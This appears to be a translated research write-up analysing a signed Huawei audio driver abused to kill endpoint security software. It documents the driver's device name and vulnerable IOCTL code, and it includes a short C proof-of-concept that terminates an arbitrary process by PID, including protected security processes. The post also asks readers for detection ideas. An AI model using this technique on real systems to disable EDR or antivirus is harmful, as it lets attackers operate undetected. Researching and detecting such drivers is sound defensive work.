iTranslated by AI
HwAudKiller - Research
This PoC is for educational and research purposes only.
It demonstrates a known technique already observed in real-world malware campaigns (Huntress report, March 2026 https://www.huntress.com/blog/w2-malvertising-to-kernel-mode-edr-kill).
Do not use for malicious purposes. Author is not responsible for any misuse.
This PoC is for educational and research purposes only.
It demonstrates a known technique already observed in real-world malware campaigns (Huntress report, March 2026 https://www.huntress.com/blog/w2-malvertising-to-kernel-mode-edr-kill).
Do not use for malicious purposes. Author is not responsible for any misuse.
1. What is HwAudKiller?
Huntress confirmed an EDR Killer using BYOVD in an investigated incident.
The driver used in this case is the "Huawei audio driver (HWAudioOs2Ec.sys)".
At the time Huntress published the information, this driver had no known vulnerability information, was not listed on LOLDrivers, and was not included in Microsoft's vulnerable driver list.
2. Information on the Vulnerable Driver "HWAudioOs2Ec.sys"
| Property | Data |
|---|---|
| File Name | HWAudioOs2Ec.sys |
| SHA256 | 5ABE477517F51D81061D2E69A9ADEBDCDA80D36667D0AFABE103FDA4802D33DB |
| Creation Timestamp | 2021-11-15 23:19:16 |
| Signer | Huawei Device Co., Ltd. |
| Signing Time | 2021-11-16 11:51:33 |
| Product Name | Huawei Audio Driver |
| Product Version | 1.0.0.0 |
Presumably a driver for Huawei laptop PCs.
It is unknown whether it comes pre-installed by default on Huawei laptop PCs.
3. Vulnerability of This Driver
3.1. Processing Flow
The driver creates a device \Device\HWAudioDevX64 and sets a symbolic link \DosDevices\HWAudioX64. The user-mode side opens it as \\.\HWAudioX64.
As mentioned in Huntress's article, the issue lies with IOCTL code: 0x2248DC.

When the IOCTL dispatch handler receives this IOCTL code, it copies the PID from the 4-byte input buffer using memcpy_s and passes it directly to the next function.

This function obtains a kernel handle with PROCESS_ALL_ACCESS (0x1FFFFF) via ZwOpenProcess and immediately terminates the process with ZwTerminateProcess. No validation is performed on the specified target process.

A function to obtain the process handle is called in between.

Unvalidated Passing of User-Input PID
The 4-byte PID passed from user-mode is directly fed into ZwOpenProcess without any checks. PID 4 (System process) or EDR/AV PIDs can also be targeted.
Use of PROCESS_ALL_ACCESS
It uses 0x1FFFFF (PROCESS_ALL_ACCESS) to obtain a process handle via ZwOpenProcess. Does an audio driver really need to terminate processes? Isn't this access right excessive?
ZwTerminateProcess Call from Kernel Mode
ZwTerminateProcess called from kernel mode can bypass user-mode protection mechanisms (e.g., PPL: Protected Process Light). This is the fundamental danger of this BYOVD.
3.2. Issues with 0x002248DC
0x002248DC
The type and access rights set for the IOCTL code 0x002248DC.
| Parameter | Value |
|---|---|
| DeviceType | (0x002248DC >> 16) & 0xFFFF = 0x0022 (FILE_DEVICE_UNKNOWN) |
| Access | (0x002248DC >> 14) & 0x3 = 0x1 (FILE_READ_ACCESS) |
| Function | (0x002248DC >> 2) & 0xFFF = 0x237 |
| Method | 0x002248DC & 0x3 = 0x0 (METHOD_BUFFERED) |
Administrator privileges are required, but once obtained, access is possible.
4. Vulnerability Summary
| Property | Data |
|---|---|
| Vulnerable IOCTL code | 0x2248dc |
| Device name |
\\.\HWAudioX64 (SymbolicLink: \DosDevices\HWAudioX64) |
| Available Zw* functions |
ZwOpenProcess, ZwTerminateProcess
|
| Method | METHOD_BUFFERED (uses SystemBuffer) |
| Input buffer size | 4 bytes (0x4) |
| Input buffer content | PID of target process (32-bit) |
| Output buffer | Not needed (0x0) |
5. PoC
Actually, it seems this was already known information.
The Huntress article described it as an unknown BYOVD, but it was actually already known.
The reason it is not listed on LOLDrivers is simply that no one reported it?
Just send the driver handle and a DWORD for the PID.
BOOL KillProcess(HANDLE hDevice, DWORD targetPid){
DWORD bytesReturned = 0;
/*
* Input buffer layout (METHOD_BUFFERED):
* Offset 0x00, Size 4: Target PID (DWORD)
*
* InputBufferLength = 0x4
* ClientId.UniqueProcess = SystemBuffer[31:0]
*/
BOOL result = DeviceIoControl(
hDevice,
IOCTL_KILL_PROCESS,
&targetPid, /* lpInBuffer: 4-byte PID */
sizeof(DWORD), /* nInBufferSize: 0x4 */
NULL, /* lpOutBuffer: not used */
0, /* nOutBufferSize: 0x0 */
&bytesReturned,
NULL
);
return result;
}
6. Detection Ideas Wanted
6.1. Based on Huntress Incident
6.2. Others if any
Feel free to add comments and notes, and let's discuss.
If you have any questions for me, please bear in mind that I am still inexperienced with Windows internals.
7. Thoughts
It's an audio driver, but it has a process kill function. Why?
8. Records
8.1. Commands Used to Check Driver Information
Signature
PS > Get-AuthenticodeSignature -FilePath .\HWAudioOs2Ec.sys|Format-List *
SignerCertificate : [Subject]
CN="Huawei Device Co., Ltd.", OU=IT Dept., O="Huawei Device Co., Ltd.", L=Dongguan, S=Guangdong, C=CN
[Issuer]
CN=GlobalSign CodeSigning CA - SHA256 - G3, O=GlobalSign nv-sa, C=BE
[Serial Number]
4B18D6298C19A073602B9E7B
[Not Before]
2020/04/08 17:30:19
[Not After]
2023/04/09 17:30:19
[Thumbprint]
4939D683E92A112EC1D3B46A39F113EFE6DFFBDB
TimeStamperCertificate : [Subject]
CN=DigiCert Timestamp 2021, O="DigiCert, Inc.", C=US
[Issuer]
CN=DigiCert SHA2 Assured ID Timestamping CA, OU=www.digicert.com, O=DigiCert Inc, C=US
[Serial Number]
0D424AE0BE3A88FF604021CE1400F0DD
[Not Before]
2021/01/01 9:00:00
[Not After]
2031/01/06 9:00:00
[Thumbprint]
E1D782A8E191BEEF6BCA1691B5AAB494A6249BF3
Status : Valid
StatusMessage : 署名を確認しました。
Path : C:\Users\ex\Documents\HWAudioOs2Ec.sys
SignatureType : Authenticode
IsOSBinary : False
Program Version Information
PS > (Get-Item .\HWAudioOs2Ec.sys).VersionInfo|Format-List *
FileVersionRaw : 1.0.0.1
ProductVersionRaw : 1.0.0.1
Comments :
CompanyName : Huawei Device Co., Ltd.
FileBuildPart : 0
FileDescription : HWAuidoOs2Ec
FileMajorPart : 1
FileMinorPart : 0
FileName : C:\Users\ex\Documents\HWAudioOs2Ec.sys
FilePrivatePart : 1
FileVersion : 1.0.0.0
InternalName : HWAuidoOs2Ec
IsDebug : False
IsPatched : False
IsPrivateBuild : False
IsPreRelease : False
IsSpecialBuild : False
Language : 簡体中国語 (中国大陸)
LegalCopyright : Copyright © Huawei Device Co., Ltd. All rights reserved.
LegalTrademarks :
OriginalFilename : HWAuidoOs2Ec.sys
PrivateBuild :
ProductBuildPart : 0
ProductMajorPart : 1
ProductMinorPart : 0
ProductName : Huawei Audio Driver
ProductPrivatePart : 1
ProductVersion : 1.0.0.0
SpecialBuild :
Discussion